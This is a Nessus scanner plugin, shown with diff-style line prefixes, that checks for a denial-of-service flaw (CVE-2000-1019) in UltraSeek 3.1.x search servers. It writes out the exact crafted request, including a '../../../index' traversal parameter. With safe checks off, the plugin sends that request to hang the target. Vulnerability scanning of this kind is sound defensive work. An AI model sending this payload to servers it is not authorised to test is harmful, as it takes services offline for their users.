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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10542);
- script_bugtraq_id(1866);
- script_version ("$Revision: 1.16 $");
- script_cve_id("CVE-2000-1019");
-
-
- name["english"] = "UltraSeek 3.1.x Remote DoS";
- name["francais"] = "UltraSeek 3.1.x Remote DoS";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- It is possible to make the remote UltraSeek server hang temporarily
- by requesting :
- /index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index
-
- An attacker may use this flaw to prevent this site from responding
- to valid client requests.
-
- Solution : Upgrade to UltraSeek 4.x
- Risk factor : High";
-
-
-
-
- desc["francais"] = "
- Il est possible d'empecher le serveur UltraSeek distant de rΘpondre
- pendant quelques temps en faisant la requete :
- /index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index
-
- Un pirate peut utiliser ce problΦme pour empecher ce site de
- rΘpondre aux requetes des clients.
-
- Solution : mettez-le α jour en version 4.x
- Facteur de risque : SΘrieux";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Hangs the remote UltraSeek server for some time";
- summary["francais"] = "Empeche le serveur UltraSeek distant de rΘpondre";
-
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_MIXED_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes");
- script_require_ports(8765);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
-
- port = 8765;
- if(get_port_state(port))
- {
- if(safe_checks())
- {
- banner = get_http_banner(port:port);
-
- if(banner)
- {
- if("UltraSeek/3.1" >< banner)
- {
- alrt = "
- The remote UltraSeek server is vulnerable to a denial
- of service attack, when issued specially crafted
- arguments.
-
- *** Nessus reports this vulnerability using only
- *** information that was gathered. Use caution
- *** when testing without safe checks enabled.
-
- Solution : Upgrade to version 4.0
- Risk factor : High";
-
- security_hole(port:8765, data:alrt);
- }
- }
- exit(0);
- }
-
- req1 = http_head(item:"/", port:8765);
- soc = http_open_socket(8765);
- if(!soc)exit(0);
- send(socket:soc, data:req1);
- r = http_recv(socket:soc);
- http_close_socket(soc);
- if("200 OK" >< r)
- {
- soc = http_open_socket(8765);
- if(!soc)exit(0);
- req = http_get(item:"/index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index",
- port:8765);
- send(socket:soc, data:req);
- r = http_recv(socket:soc);
- http_close_socket(soc);
- if(!r)security_hole(8765);
- }
- }
-